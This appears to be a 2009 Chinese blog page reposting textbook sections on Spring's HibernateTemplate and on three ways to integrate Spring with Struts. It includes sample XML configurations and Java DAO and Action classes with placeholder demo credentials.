第一个构造函数,构造一个默认的HibernateTemplate实例。因此,使用Hibernate- Template实例之前,还必须使用方法setSessionFactory(SessionFactory sessionFactory)来为HibernateTemplate传入SessionFactory的引用。

第二个构造函数,在构造时已经传入SessionFactory引用。

第三个构造函数,其boolean型参数表明,如果当前线程已经存在一个非事务性的Session,是否直接返回此非事务性的Session。

在Web应用中,通常启动时自动加载ApplicationContext,SessionFactory和DAO对象都处在Spring上下文管理下,因此无须在代码中显式设置,可采用依赖注入完成Session- Factory和DAO的解耦,依赖关系通过配置文件来设置,如下所示:

<?xml version="1.0" encoding="GBK"?>

<!-- beans是Spring配置文件的根元素,并且指定了Schema信息 -->

<beans xmlns="http://www.springframework.org/schema/beans"

       xmlns:xsi="http://www.w3.org/2001/XMLSchema-instance"

       xsi:schemaLocation="http://www.springframework.org/schema/beans http://www.springframework.org/schema/beans/spring-beans.xsd">

    <!-- 定义数据源Bean,使用C3P0数据源实现 -->

    <bean id="dataSource" class="com.mchange.v2.c3p0.ComboPooledDataSource"
    destroy-method="close">

        <!-- 指定连接数据库的驱动 -->

        <property name="driverClass" value="com.mysql.jdbc.Driver"/>

        <!-- 指定连接数据库的URL -->

        <property name="jdbcUrl" value="jdbc:mysql://localhost/j2ee"/>

        <!-- 指定连接数据库的用户名 -->

        <property name="user" value="root"/>

        <!-- 指定连接数据库的密码 -->

        <property name="password" value="32147"/>

        <!-- 指定连接数据库连接池的最大连接数 -->

        <property name="maxPoolSize" value="40"/>

        <!-- 指定连接数据库连接池的最小连接数 -->

        <property name="minPoolSize" value="1"/>

        <!-- 指定连接数据库连接池的初始化连接数 -->

        <property name="initialPoolSize" value="1"/>

        <!-- 指定连接数据库连接池的连接最大空闲时间 -->

        <property name="maxIdleTime" value="20"/>

    </bean>

    <!-- 定义Hibernate的SessionFactory Bean -->

    <bean id="sessionFactory" class="org.springframework.orm.hibernate3.
    LocalSessionFactoryBean">

        <!-- 依赖注入数据源,注入的正是上文中定义的dataSource -->

        <property name="dataSource" ref="dataSource"/>

        <!-- mappingResources属性用来列出全部映射文件 -->

        <property name="mappingResources">

            <list>

                <!-- 以下用来列出所有的PO映射文件 -->

                <value>lee/Person.hbm.xml</value>

            </list>

        </property>

          <!-- 定义Hibernate的SessionFactory属性 -->

        <property name="hibernateProperties">

             <props>

                <!-- 指定Hibernate的连接方言 -->

                <prop key="hibernate.dialect">org.hibernate.dialect.
                MySQLDialect</prop>

                <!-- 指定启动应用时,是否根据Hibernate映射文件创建数据表 -->

                  <prop key="hibernate.hbm2ddl.auto">update</prop>

             </props>

        </property>

    </bean>

    <!-- 配置Person持久化类的DAO bean -->

    <bean id="personDao" class="lee.PersonDaoImpl">

        <!-- 采用依赖注入来传入SessionFactory的引用 -->

        <property name="sessionFactory" ref="sessionFactory"/>

    </bean>

</beans>

在PersonDao组件中,所有的持久化操作都通过HibernateTemplate实例完成,而HibernateTemplate操作数据库非常简洁,大部分CRUD操作都可通过一行代码解决问题。下面介绍如何通过HibernateTemplate进行持久层访问。

HibernateTemplate提供了非常多的常用方法来完成基本的操作,比如通常的增加、删除、修改、查询等操作,Spring 2.0更增加了对命名SQL查询的支持,也增加了对分页的支持。大部分情况下,使用Hibernate的常规用法,就可完成大多数DAO对象的CRUD操作。下面是HibernateTemplate的常用方法简介:

   ● void delete(Object entity),删除指定持久化实例。

   ● deleteAll(Collection entities),删除集合内全部持久化类实例。

   ● find(String queryString),根据HQL查询字符串来返回实例集合。

   ● findByNamedQuery(String queryName),根据命名查询返回实例集合。

   ● get(Class entityClass, Serializable id),根据主键加载特定持久化类的实例。

   ● save(Object entity),保存新的实例。

   ● saveOrUpdate(Object entity),根据实例状态,选择保存或者更新。

   ● update(Object entity),更新实例的状态,要求entity是持久状态。

   ● setMaxResults(int maxResults),设置分页的大小。

下面是一个完整DAO类的源代码:

public class PersonDaoImpl implements PersonDao

{

    //执行持久化操作的HibernateTemplate实例

    private HibernateTemplate ht = null;

    private SessionFactory sessionFactory;

    //该DAO组件持久化操作所需的SessionFactory对象

    public void setSessionFactory(SessionFactory sessionFactory)

    {

        this.sessionFactory = sessionFactory;

    }

    //用于根据SessionFactory实例返回HibernateTemplate实例的方法

    private HibernateTemplate getHibernateTemplate()

    {

        if (ht == null)

        {

            ht = new HibernateTemplate(sessionFactory);

        }

        return ht;

    }

    /**

     * 加载人实例

     * @param id 需要加载的Person实例的主键值

     * @return 返回加载的Person实例

     */

    public Person get(int id)

    {

        return (Person)getHibernateTemplate().get(Person.class, new
        Integer(id));

    }

    /**

     * 保存人实例

     * @param person 需要保存的Person实例

     */   

    public void save(Person person)

    {

        getHibernateTemplate().save(person);

    }

    /**

     * 修改Person实例

     * @param person 需要修改的Person实例

     */

    public void update(Person person)

    {

        getHibernateTemplate().update(person);

    }

    /**

     * 删除Person实例

     * @param id 需要删除的Person的id

     */

    public void delete(int id)

    {

        getHibernateTemplate().delete(getHibernateTemplate().get(Person.
        class,new Integer(id)));

    }

    /**

     * 删除Person实例

     * @param person 需要删除的Person实例

     */

   public void delete(Person person)

    {

        getHibernateTemplate().delete(person);

    }

    /**

     * 根据用户名查找Person

     * @param name 用户名

     * @return 用户名对应的全部用户

     */

    public List findByName(String name)

    {

        return getHibernateTemplate().find("from Person p where p.name
        like ?" , name);

    }

    /**

    * 返回全部的Person实例

    * @return 全部的Person实例

    */

    public List findAllPerson()

    {

        return getHibernateTemplate().find("from Person ");

    }

}

通过上面实现DAO组件的代码可以看出,通过HibernateTemplate进行持久层访问的代码如此清晰,大部分CRUD操作一行代码即可完成,完全无须Hibernate访问那些繁琐的步骤。而且,一旦DAO组件获得了SessionFactory的引用,即可很轻易地创建HibernateTemplate实例。

提示:HibernateTemplate是Spring众多模板工具类之一,Spring正是通过这种简便地封装,完成了开发中大量需要重复执行的工作。

posted @ 2009-07-19 10:24 jadmin 阅读(669) | 评论 (0)编辑 收藏

Struts的plug-in配置部分明确指出,Spring的配置文件有两个:applicationContext.xml和action-servlet.xml。其实,完全可以使用一个配置文件。通常,习惯将Action Bean配置在控制器的context内。action-servlet.xml用于配置表现层上下文,其详细配置信息如下:

<?xml version="1.0" encoding="gb2312"?>

<!-- 指定Spring配置文件的根元素,以及对应的Schame信息 -->

<beans xmlns="http://www.springframework.org/schema/beans"

       xmlns:xsi="http://www.w3.org/2001/XMLSchema-instance"

       xsi:schemaLocation="http://www.springframework.org/schema/beans http://www.springframework.org/schema/beans/spring-beans.xsd">

    <!-- 每个request请求产生一个新实例,将所有该请求的作用域配置成request -->

    <bean name="/login" class="lee.LoginAction" scope="request">

        <property name="vb" ref="vb"/>

    </bean>

</beans>

因为每次请求都应该启动新的Action处理用户请求,因此,应将Action的作用域配置成Request。

注意:ActionServlet转发请求时,是根据Bean的name属性,而不是id属性。因此,此处确定的name属性与Struts的action属性相同。

applicationContext.xml只有一个bean配置,即vb bean。其详细配置如下:

<?xml version="1.0" encoding="GBK"?>

<!-- 指定Spring 配置文件的根元素,以及对应的Schema信息 -->

<beans xmlns="http://www.springframework.org/schema/beans"

       xmlns:xsi="http://www.w3.org/2001/XMLSchema-instance"

       xsi:schemaLocation="http://www.springframework.org/schema/beans http://www.springframework.org/schema/beans/spring-beans.xsd">

    <!-- 配置ValidBean实例 -->

    <bean id="vb" class="lee.ValidBeanImpl"/>

</beans>

ValidBeanImpl是一个业务逻辑bean,本示例程序中仅作简单的判断,ValidBeanImpl的源代码如下:

//面向接口编程,实现ValidBean接口

public class ValidBeanImpl implements ValidBean

{

    //根据输入的用户名和密码判断是否有效

    public boolean valid(String username,String pass)

    {

        //有效,返回true

        if (username.equals("scott") && pass.equals("tiger"))

        {

            return true;

        }

        return false;

    }

}

注意:上面的业务逻辑组件非常简单,它只是一个示意。如果是真实的应用,业务逻辑组件应该通过DAO组件来实现业务逻辑方法。

应用的业务逻辑控制器,Action则负责调用业务逻辑组件的方法,并根据业务逻辑组件方法的返回值,确定如何响应用户请求。下面是该示例应用控制器的代码:

//业务控制器继承Action

public class LoginAction extends Action

{

    //action控制器将调用的业务逻辑组件

    private ValidBean vb;

    //依赖注入业务逻辑组件的setter方法

    public void setVb(ValidBean vb)

    {

        this.vb = vb;

    }

    //必须重写该核心方法,该方法actionForm将表单的请求参数封装成值对象

    public ActionForward execute(ActionMapping mapping, ActionForm form,

       HttpServletRequest request, HttpServletResponse response)throws
       Exception

    {

        //form由ActionServlet转发请求时创建,封装了所有的请求参数

        LoginForm loginForm = (LoginForm)form;

        //获取username请求参数

        String username = loginForm.getUsername();

        //获取pass请求参数

        String pass = loginForm.getPass();

        //下面为服务器端的数据校验

        String errMsg = "";

        //判断用户名不能为空

        if (username == null || username.equals(""))

        {

            errMsg += "您的用户名丢失或没有输入,请重新输入";

        }

        //判断密码不能为空

        else if(pass == null || pass.equals(""))

        {

            errMsg += "您的密码丢失或没有输入,请重新输入";

        }

        //如果用户名和密码不为空,才调用业务逻辑组件

        else

        {

            //vb是业务逻辑组件,由容器注入

            if (vb.valid(username,pass))

            {

                return mapping.findForward("welcome");

            }

            else

            {

                errMsg = "您的用户名和密码不匹配";

            }

        }

        //判断是否生成了错误信息

        if (errMsg != null && !errMsg.equals(""))

        {

            //如果有错误信息,将错误信息保存在request里,并跳转到input对应的
            forward对象

            request.setAttribute("err" , errMsg);

            return mapping.findForward("input");

        }

        else

        {

            //如果没有错误信息,跳转到welcome对应的forward对象

            return mapping.findForward("welcome");

        }

    }

}

在本应用中,使用了Struts的客户端数据校验,让Action继承ValidatorActionForm即可。ActionForm的代码非常简单,此处不再赘述。

为了完成数据校验,还应该编写数据校验规则文件。在struts-config.xml文件的尾部,另有一个plug-in用来加载校验文件,其中validator-rules.xml文件位于struts压缩包的lib下,直接复制过来即可使用,而validator.xml必须自己编写,validator.xml文件如下:

<?xml version="1.0" encoding="GBK"?>

<!-- 验证规则文件的文件头,包括DTD等信息 -->

<!DOCTYPE form-validation PUBLIC

          "-//Apache Software Foundation//DTD Commons Validator Rules
          Configuration 1.1.3//EN"

          "http://jakarta.apache.org/commons/dtds/validator_1_1_3.dtd">

<!-- 验证文件的根元素 -->

<form-validation>

    <!-- 所有需要验证的form都放在formset里 -->

<formset>

    <!-- 需要验证的form名,该名与struts里配置的名相同 -->

    <form name="loginForm">

        <!-- 指定该form的username域必须满足的规则:必填、模式匹配 -->

        <field property="username" depends="required,mask">

            <arg key="loginForm.username" position="0"/>

            <var>

                <!-- 确定匹配模式的正则表达式 -->

            <var-name>mask</var-name>

            <var-value>^[a-zA-Z]+$</var-value>

            </var>

        </field>

        <!-- 指定该form的pass域必须满足的规则:必填 -->

        <field property="pass" depends="required">

            <msg name="required" key="pass.required"/>

            <arg key="loginForm.pass" position="0"/>

        </field>

    </form>

</formset>

</form-validation>

上面示例程序的结构非常清晰:表现层组件(Action)配置在action-servlet.xml文件中,而业务逻辑层组件(vb)配置在applicationContext.xml文件中,如果应用中有DAO组件,将DAO组件配置在dao-context.xml文件中。将3个文件放在plug-in元素里一起加载。

文本框:图6.3  DelegatingRequestProcessor整合策略的登录失败效果DelegatingRequestProcessor会将请求转发到Action,该Action已经处于IoC容器管理之下,因此,可以方便地访问容器中的其他Bean。

通过配置文件可以看出,Action根本无须type属性,即struts-config.xml中Action根本没有实例化过,DelegatingRequestProcessor将请求转发给Spring容器中的同名Bean。这种转发的时机非常早,避免了创建struts-config.xml配置文件中的Action,因而性能非常好。

图6.3是采用这种整合策略的执行效果。

6.4.4 使用DelegatingActionProxy

使用DelegatingRequestProcessor简单方便,但有一个缺点,RequestProcessor是Struts的一个扩展点,也许应用程序本身就需要扩展RequestProcessor,而DelegatingRequest- Processor已经使用了这个扩展点。

为了重新利用Struts的RequestProcessor这个扩展点,有两个做法:

   ● 应用程序的RequestProcessor不再继承Struts的RequestProcessor,改为继承DelegatingRequestProcessor。

   ● 使用DelegatingActionProxy。

前者常常有一些未知的风险,而后者是Spring推荐的整合策略。使用Delegating- ActionProxy与DelegatingRequestProcessor的目的都只有一个,将请求转发给Spring管理的Bean。

DelegatingRequestProcessor直接替换了原有的RequestProcessor,在请求转发给action之前,转发给Spring管理的Bean;而DelegatingActionProxy则被配置成Struts的Action,即所有的请求先被ActionServlet截获,请求被转发到对应的Action,而action的实现类全都是DelegatingActionProxy,DelegatingActionProxy再将请求转发给Spring容器的Action。

可以看出,使用DelegatingActionProxy比使用DelegatingRequestProcessor要晚一步转发到Spring的context。但通过这种方式可以避免占用扩展点。

与使用DelegatingRequestProcessor相比,使用DelegatingActionProxy仅需要去掉controller配置元素,并将所有的action实现类改为DelegatingActionProxy即可。详细的配置文件如下:

<!-- XML文件的版本和编码集 -->

<?xml version="1.0" encoding="gb2312"?>

<!-- struts配置文件的文件头,包括DTD等信息 -->

<!DOCTYPE struts-config PUBLIC

          "-//Apache Software Foundation//DTD Struts Configuration 1.2//EN"

          "http://struts.apache.org/dtds/struts-config_1_2.dtd">

<!-- struts配置文件的根元素 -->

<struts-config>

    <!-- 配置formbean,所有的formbean都放在form-beans元素里定义 -->

    <form-beans>

        <!-- 定义了一个formbean,确定formbean名和实现类 -->

        <form-bean name="loginForm" type="lee.LoginForm"/>

    </form-beans>

    <!-- 定义action部分,所有的action都放在action-mapping元素里定义 -->

    <action-mappings>

        <!-- 这里只定义了一个action。必须配置action的type元素为
        DelegatingActionProxy -->

        <action path="/login" type="org.springframework.web.struts.
        DelegatingActionProxy"

            name="loginForm" scope="request" validate="true" input=
            "/login.jsp" >

            <!-- 定义action内的两个局部forward元素 -->

            <forward name="input" path="/login.jsp"/>

            <forward name="welcome" path="/welcome.html"/>

        </action>

    </action-mappings>

    <!-- 加载国际化的资源包 -->

    <message-resources parameter="mess"/>

    <!-- 装载验证的资源文件 -->

    <plug-in className="org.apache.struts.validator.ValidatorPlugIn">

        <set-property property="pathnames" value="/WEB-INF/validator-
        rules.xml,/WEB-INF/validation.xml" />

        <set-property property="stopOnFirstError" value="true"/>

    </plug-in>

    <!-- 装载Spring配置文件,随应用启动创建ApplicationContext实例 -->

    <plug-in className="org.springframework.web.struts. ContextLoaderPlugIn">
        <set-property property="contextConfigLocation"

            value="/WEB-INF/applicationContext.xml,

                   /WEB-INF/action-servlet.xml"/>

    </plug-in>

</struts-config>

DelegatingActionProxy接收ActionServlet转发过来的请求,然后转发给Application- Context管理的Bean,这是典型的链式处理。

通过配置文件可以看出,struts-config.xml文件中配置了大量DelegatingActionProxy实例,Spring容器中也配置了同名的Action。即Struts的业务控制器分成了两个部分:第一个部分是Spring的DelegatingActionProxy,这个部分没有实际意义,仅仅完成转发;第二个部分是用户的Action实现类,该实现类负责真实的处理。

这种策略的性能比前一种策略的效果要差一些,因为需要多创建一个Delegating- ActionProxy实例。而且,J2EE应用中Action非常多,这将导致大量创建DelegatingActionProxy实例,使用一次之后,等待垃圾回收机制回收——这对性能的影响不可避免。

图6.4是DelegatingActionProxy的执行效果。

文本框:图6.4  DelegatingActionProxy整合策略的登录成功效果注意:使用DelegatingActionProxy的整合策略,可避免占用Struts的RequestProcessor扩展点,但降低了整合性能。

6.4.5 使用ActionSupport代替Action

前面已经介绍了,Spring与Struts的整合还有一种策略,让Struts的Action显式获取Spring容器中的Bean。在这种策略下,Struts的Action不接受IoC容器管理,Action的代码与Spring API部分耦合,造成代码污染。这种策略也有其好处:代码的可读性非常强,Action的代码中显式调用业务逻辑组件,而无须等待容器注入。

Action中访问ApplicationContext有两种方法:

   ● 利用WebApplicationContextUtils工具类。

   ● 利用ActionSupport支持类。

通过WebApplicationContextUtils,可以显式获得Spring容器的引用(请参阅6.4.1节的内容),而ActionSupport类则提供了一个更简单的方法getWebApplicationContext(),该方法可直接获取Spring容器的引用。

所谓ActionSupport类,是指Spring提供了系列扩展。Spring扩展了Struts的Action,在Struts的Action后加上Support后缀,Spring扩展的Action有如下几个:

   ● ActionSupport。

   ● DispatchActionSupport。

   ● LookupDispatchActionSupport。

   ● MappingDispatchActionSupport。

下面的示例将展示这种整合策略,在这种整合策略下,Struts的Action改为继承Spring扩展后的Action,下面是应用的Action代码:

//新的业务控制器,继承Spring的ActionSupport类

public class LoginAction extends ActionSupport

{

    //依然将ValidBean作为成员变量

    private ValidBean vb;

    //构造器,注意:不可在构造器中调用getWebApplicationContext()方法

    public LoginAction()

    {

    }

    //完成ValidBean的初始化

    public ValidBean getVb()

    {

        return(ValidBean)getWebApplicationContext().getBean("vb");

    }

    //必须重写该核心方法,该方法actionForm将表单的请求参数封装成值对象

    public ActionForward execute(ActionMapping mapping, ActionForm form,

       HttpServletRequest request, HttpServletResponse response)throws
       Exception

    {

        //form由ActionServlet转发请求时创建,封装了所有的请求参数

        LoginForm loginForm = (LoginForm)form;

        //获取username请求参数

        String username = loginForm.getUsername();

        //获取pass请求参数

        String pass = loginForm.getPass();

        //下面为服务器端的数据校验

        String errMsg = "";

        //判断用户名不能为空

        if (username == null || username.equals(""))

        {

            errMsg += "您的用户名丢失或没有输入,请重新输入";

        }

        //判断密码不能为空

        else if(pass == null || pass.equals(""))

        {

            errMsg += "您的密码丢失或没有输入,请重新输入";

        }

        //如果用户名和密码不为空,才调用业务逻辑组件

        else

        {

            //vb是业务逻辑组件,通过上面的初始化方法获得

            if (getVb().valid(username,pass))

            {

                return mapping.findForward("welcome");

            }

            else

            {

                errMsg = "您的用户名和密码不匹配";

            }

        }

        //判断是否生成了错误信息

        if (errMsg != null && !errMsg.equals(""))

        {

            //如果有错误信息,将错误信息保存在request里,并跳转到input对应的
            //forward对象

            request.setAttribute("err" , errMsg);

            return mapping.findForward("input");

        }

        else

        {

            //如果没有错误信息,跳转到welcome对应的forward对象

            return mapping.findForward("welcome");

        }

    }

}

在上面的Action代码中,Action显式获取容器中的业务逻辑组件,而不是依靠Spring容器的依赖注入。在这种整合策略下,表现层的控制器组件不再接受IoC容器管理。因此,没有控制器上下文,应将原有的action-servlet.xml文件删除,并修改plug-in元素,不要加载该文件。还要修改Action配置,将Action配置的type元素修改成实际的处理类。这      种整合策略也有一个好处:代码的可读性更强,对传统Struts应用开发的改变很小,容易使用。

将该Action部署在struts-config.xml中,Struts将负责创建该Action。struts-config.xml文件的源代码如下:

<!-- XML文件的版本和编码集 -->

<?xml version="1.0" encoding="gb2312"?>

<!-- Struts配置文件的文件头,包括DTD等信息 -->

<!DOCTYPE struts-config PUBLIC

          "-//Apache Software Foundation//DTD Struts Configuration 1.2//EN"

          "http://struts.apache.org/dtds/struts-config_1_2.dtd">

<!-- struts配置文件的根元素 -->

<struts-config>

    <!-- 配置formbean,所有的formbean都放在form-beans元素里定义 -->

    <form-beans>

        <!-- 定义了一个formbean,确定formbean名和实现类 -->

        <form-bean name="loginForm" type="lee.LoginForm"/>

    </form-beans>

    <!-- 定义action部分,所有的action都放在action-mapping元素里定义 -->

    <action-mappings>

        <!-- 这里只定义了一个action。action的类型为ActionSupport的子类 -->

        <action path="/login" type="type="lee.LoginAction"

            name="loginForm" scope="request" validate="true" input=
            "/login.jsp" >

            <!-- 定义action内的两个局部forward元素 -->

            <forward name="input" path="/login.jsp"/>

            <forward name="welcome" path="/welcome.html"/>

        </action>

    </action-mappings>

    <!-- 加载国际化的资源包 -->

    <message-resources parameter="mess"/>

    <!-- 装载验证的资源文件 -->

    <plug-in className="org.apache.struts.validator.ValidatorPlugIn">

        <set-property property="pathnames" value="/WEB-INF/validator-
        rules.xml,/WEB-INF/validation.xml" />

        <set-property property="stopOnFirstError" value="true"/>

    </plug-in>

</struts-config>

此时,Spring无须使用配置Action的配置文件,这种配置方式非常简单。只需要业务逻辑组件的配置文件,业务逻辑组件的配置文件与前面的示例没有任何改变。

该配置文件中的业务逻辑组件由Spring容器负责实现,而ActionSupport能够先定位Spring容器,然后获得容器的业务逻辑组件。

这种整合策略的执行效果与前面两种整合策略的执行效果完全相同。从代码中分析可见,在这种整合策略下,业务控制器再次退回到Struts起初的设计。仅由strutsconfig.xml中Action充当,从而避免了像DelegatingActionProxy整合策略的性能低下,因为可以只需要创建实际的Action实例。

注意:在这种整合策略下,Struts开发者的改变最小,最接近传统Struts应用开发者的习惯。但这种整合策略会造成代码污染,因为Action类必须继承Spring的ActionSupport类。

posted @ 2009-07-19 10:23 jadmin 阅读(70) | 评论 (0)编辑 收藏

6.4 Spring整合Struts

虽然Spring也提供了自己的MVC组件,但一来Spring的MVC组件过于繁琐,二     来Struts的拥护者实在太多。因此,很多项目都会选择使用Spring整合Struts框架。而且Spring确实可以无缝整合Struts框架,二者结合成一个更实际的J2EE开发平台。

6.4.1 利用Struts的PlugIn来启动Spring容器

使用Spring的Web应用时,不用手动创建Spring容器,而是通过配置文件声明式地创建Spring容器。因此,在Web应用中创建Spring容器有如下两个方式:

   ● 直接在web.xml文件中配置创建Spring容器。

   ● 利用第三方MVC框架的扩展点,创建Spring容器。

其实第一种创建Spring容器的方式更加常见。为了让Spring容器随Web应用的启动而自动启动,有如下两个方法:

   ● 利用ServletContextListener实现。

   ● 采用load-on-startup Servlet实现。

Spring提供ServletContextListener的一个实现类ContextLoaderListener,该类可以作为Listener使用,会在创建时自动查找WEB-INF/下的applicationContext.xml文件,因此,如果只有一个配置文件,并且文件名为applicationContext.xml,只需在web.xml文件中增加如下配置片段即可:

<listener>

   <listener-class>org.springframework.web.context.
    ContextLoaderListener</listener-class>

</listener>

如果有多个配置文件需要载入,则考虑使用<context-param>元素来确定配置文件的文件名。ContextLoaderListener加载时,会查找名为contextConfigLocation的参数。因此,配置context-param时,参数名字应该是contextConfigLocation。

带多个配置文件的web.xml文件如下:

<?xml version="1.0" encoding="GBK"?>

<!-- 指定Web配置文件的根元素,以及相应的Schema信息 -->

<web-app xmlns="http://java.sun.com/xml/ns/j2ee"

    xmlns:xsi="http://www.w3.org/2001/XMLSchema-instance"

    xsi:schemaLocation="http://java.sun.com/xml/ns/j2ee   
    http://java.sun.com/xml/ns/j2ee/web-app_2_4.xsd"

    version="2.4">

    <!-- 确定多个配置文件 -->

    <context-param>

        <!-- 参数名为contextConfigLocation -->

        <param-name>contextConfigLocation</param-name>

        <!-- 多个配置文件之间以“,”隔开 -->

        <param-value>/WEB-INF/daoContext.xml,/WEB-INF/
        applicationContext.xml</param-value>

    </context-param>

    <!-- 采用listener创建ApplicationContext实例 -->

    <listener>

        <listener-class>org.springframework.web.context.
        ContextLoaderListener</listener-class>

    </listener>

</web-app>

如果没有通过contextConfigLocation指定配置文件,Spring会自动查找application- Context.xml配置文件;如果有contextConfigLocation,则利用该参数确定的配置文件。如果无法找到合适的配置文件,Spring将无法正常初始化。

Spring根据bean定义创建WebApplicationContext对象,并将其保存在web应用的ServletContext中。大部分情况下,应用中的Bean无须感受到ApplicationContext的存在,只要利用ApplicationContext的IoC即可。

如果需要在应用中获取ApplicationContext实例,可以通过如下代码获取:

//获取当前Web应用的Spring容器

WebApplicationContext ctx =

    WebApplicationContextUtils.getWebApplicationContext(servletContext);

除此之外,Spring提供了一个特殊的Servlet类ContextLoaderServlet。该Servlet在启动时,会自动查找WEB-INF/下的applicationContext.xml文件。

当然,为了让ContextLoaderServlet随应用的启动而启动,应将此Servlet配置成load-on-startup的Servlet,load-on-startup的值小一点比较合适,这样可以保证Application- Context更快的初始化。

如果只有一个配置文件,并且文件名为applicationContext.xml,在web.xml文件中增加如下一段即可:

<servlet>

    <servlet-name>context</servlet-name>

    <servlet-class>org.springframework.web.context.ContextLoaderServlet
    </servlet-class>

    <load-on-startup>1</load-on-startup>

</servlet>

该Servlet用于提供“后台”服务,主要用于创建Spring容器,无须响应客户请求,因此无须配置servlet-mapping。

如果有多个配置文件,一样使用<context-param>元素来确定多个配置文件。

事实上,不管是ContextLoaderServlet,还是ContextLoaderListener,都依赖于ContextLoader创建ApplicationContext实例。

在ContextLoader代码的第240行,有如下代码:

String configLocation = servletContext.getInitParameter
(CONFIG_LOCATION_PARAM);

if (configLocation != null) {

    wac.setConfigLocations(StringUtils.tokenizeToStringArray
    (configLocation,

    ConfigurableWebApplicationContext.CONFIG_LOCATION_DELIMITERS));

}

其中,CONFIG_LOCATION_PARAM是该类的常量,其值为contextConfigLocation。可以看出,ContextLoader首先检查servletContext中是否有contextConfigLocation的参数,如果有该参数,则加载该参数指定的配置文件。

ContextLoaderServlet与ContextLoaderListener底层都依赖于ContextLoader。因此,二者的效果几乎没有区别。之间的区别不是它们本身引起的,而是由于Servlet规范,Listener比Servlet优先加载。因此,采用ContextLoaderListener创建ApplicationContext的时机更早。

当然,也可以通过ServletContext的getAttribute方法获取ApplicationContext。但使用WebApplicationContextUtils类更便捷,因为无须记住ApplicationContext的属性名。即使ServletContext的WebApplicationContext.ROOT_WEB_APPLICATION_CONTEXT_ATTRI- BUTE属性没有对应对象,WebApplicationContextUtils的getWebApplicationContext()方法将会返回空,而不会引起异常。

到底需要使用Listener,还是使用load-on-startup Servlet来创建Spring容器呢?通常推荐使用Listener来创建Spring容器。但Listerner是Servlet 2.3以上才支持的标准,因此,必须Web容器支持Listener才可使用Listerner。

注意:使用Listener创建Spring容器之前,应先评估Web容器是否支持Listener标准。

还有一种情况,利用第三方MVC框架的扩展点来创建Spring容器,比如Struts。在第2章介绍Strust框架时,知道Struts有一个扩展点PlugIn。

实际上,Spring正是利用了PlugIn这个扩展点,从而提供与Struts的整合。Spring提供了PlugIn接口的实现类org.springframework.web.struts.ContextLoaderPlugIn。这个实现类可作为Struts的PlugIn配置,Struts框架启动时,将自动创建Spring容器。

为了利用Struts的PlugIn创建Spring容器,只需在Struts配置文件中增加如下片段   即可:

<plug-in className="org.springframework.web.struts.ContextLoaderPlugIn">

<set-property property="contextConfigLocation"

      value="/WEB-INF/action-servlet.xml,/WEB-INF/applicationContext.
      xml"/>

</plug-in>

其中,指定contextConfigLocation属性值时,即可以指定一个Spring配置文件的位置,可以指定多个Spring配置文件的位置。

6.4.2 MVC框架与Spring整合的思考

对于一个基于B/S架构的J2EE应用而言,用户请求总是向MVC框架的控制器请求,而当控制器拦截到用户请求后,必须调用业务逻辑组件来处理用户请求。此时有一个问题,控制器应该如何获得业务逻辑组件?

最容易想到的策略是,直接通过new关键字创建业务逻辑组件,然后调用业务逻辑组件的方法,根据业务逻辑方法的返回值确定结果。

实际的应用中,很少见到采用上面的访问策略,因为这是一种非常差的策略。不这样做至少有如下3个原因:

   ● 控制器直接创建业务逻辑组件,导致控制器和业务逻辑组件的耦合降低到代码层次,不利于高层次解耦。

   ● 控制器不应该负责业务逻辑组件的创建,控制器只是业务逻辑组件的使用者。无须关心业务逻辑组件的实现。

   ● 每次创建新的业务逻辑组件将导致性能下降。

答案是采用工厂模式或服务定位器。采用服务定位器的模式,是远程访问的场景。在这种场景下,业务逻辑组件已经在某个容器中运行,并对外提供某种服务。控制器无须理会该业务逻辑组件的创建,直接调用即可,但在调用之前,必须先找到该服务——这就是服务定位器的概念。经典J2EE应用就是这种结构的应用。

对于轻量级的J2EE应用,工厂模式则是更实际的策略。因为轻量级的J2EE应用里,业务逻辑组件不是EJB,通常就是一个POJO,业务逻辑组件的生成通常由工厂负责,而且工厂可以保证该组件的实例只需一个就够了,可以避免重复实例化造成的系统开销。

如图6.2就是采用工厂模式的顺序图。

图6.2 工厂模式顺序图

采用工厂模式,将控制器与业务逻辑组件的实现分离,从而提供更好的解耦。

在采用工厂模式的访问策略中,所有的业务逻辑组件的创建由工厂负责,业务逻辑组件的运行也由工厂负责。而控制器只需定位工厂实例即可。

如果系统采用Spring框架,则Spring成为最大的工厂。Spring负责业务逻辑组件的创建和生成,并可管理业务逻辑组件的生命周期。可以如此理解,Spring是一个性能非常优秀的工厂,可以生产出所有的实例,从业务逻辑组件,到持久层组件,甚至控制器。

现在的问题是,控制器如何访问到Spring容器中的业务逻辑组件?为了让Action访 问Spring的业务逻辑组件,有两种策略:

   ● Spring管理控制器,并利用依赖注入为控制器注入业务逻辑组件。

   ● 控制器显式定位Spring工厂,也就是Spring的容器ApplicationContext实例,并从工厂中获取业务逻辑组件实例的引用。

第一种策略,充分利用Spring的IoC特性,是最优秀的解耦策略。但不可避免带来一些不足之处,归纳起来主要有如下不足之处:

   ● Spring管理Action,必须将所有的Action配置在Spring容器中,而struts-config.xml文件中的配置也不会减少,导致配置文件大量增加。

   ● Action的业务逻辑组件接收容器注入,将导致代码的可读性降低。

总体而言,这种整合策略是利大于弊。

第二种策略,与前面介绍的工厂模式并没有太大的不同。区别是Spring容器充当了业务逻辑组件的工厂。控制器负责定位Spring容器,通常Spring容器访问容器中的业务逻辑组件。这种策略是一种折衷,降低了解耦,但提高了程序的可读性。

Spring完全支持这两种策略,既可以让Spring容器管理控制器,也可以让控制器显式定位Spring容器中的业务逻辑组件。

6.4.3 使用DelegatingRequestProcessor

这里介绍的是第一种整合策略:让Spring管理Struts的Action。那么同样有一个问题,让Spring管理Struts的Action时,客户端的HTTP 请求如何转向Spring容器中的Action?

当使用Struts作为MVC框架时,客户端的HTTP请求都是直接向ActionServlet请求的,因此关键就是让ActionServlet将请求转发给Spring容器中的Action。这很明显可以利用Spring的另一个扩展点:通过扩展RequestProcessor完成,使用扩展的RequestProcessor替换Struts的RequestProcessor。

Spring完成了这种扩展,Spring提供的DelegatingRequestProcessor继承Request- Processor。为了让Struts使用DelegatingRequestProcessor,还需要在struts-config.xml文件中增加如下一行:

//使用spring的RequestProcessor替换struts原有的RequestProcessor

<controller processorClass="org.springframework.web.struts.
DelegatingRequestProcessor"/>

完成这个设置后,Struts会将截获到的用户请求转发到Spring context下的bean,根据bean的name属性来匹配。而Struts中的action配置则无须配置class属性,即使配置了class属性也没有任何用处,即下面两行配置是完全一样的:

//配置struts action时,指定了实现类

<action path="/user" type="lee.UserAction"/>

//配置struts action时,没有指定实现类

<action path="/user"/>

